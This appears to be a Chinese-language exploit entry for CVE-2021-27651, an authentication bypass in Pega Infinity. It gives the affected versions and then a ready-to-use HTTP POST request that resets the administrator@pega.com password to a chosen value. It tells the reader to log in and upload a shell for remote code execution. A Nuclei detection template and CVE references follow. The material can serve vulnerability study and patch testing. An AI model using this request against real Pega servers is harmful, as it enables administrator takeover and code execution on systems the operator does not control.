PEGA pega infinity 授权认证绕过RCE（CVE-2021-27651）

# PEGA pega infinity 授权认证绕过RCE（CVE-2021-27651）

PEGA pega infinity是美国PEGA公司的一个应用软件。提供从数字混乱过渡到真正的数字转换。Pega Infinity 8.2.1版本至8.5.2版本存在授权问题漏洞，该漏洞源于本地帐户的密码重置功能可以用来绕过本地认证检查。

影响版本：

* Pega Infinity > = 8.2.1
* Pega Infinity <= 8.5.2 **复现：** 1.访问任何实例登录页面，使用"administrator@pega.com"进行重置密码进行登录,PoC如下，重置密码为：Rules@1234进行登录后上传shell进行rce。 ``` POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W) Host: redacted.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 112 Origin: https://redacted.com DNT: 1 Connection: close Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD Cookie: yourCookie Upgrade-Insecure-Requests: 1 pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword= ``` Nuclei Template： ``` id: pega info: name: Pega Infinity Login author: sshell severity: low requests: - method: GET path: - "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs" headers: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 matchers: - type: word words: - "Pega API" ``` ref： * https://github.com/samwcyo/CVE-2021-27651-PoC/blob/main/RCE.md * https://nvd.nist.gov/vuln/detail/CVE-2021-27651 * http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202104-2150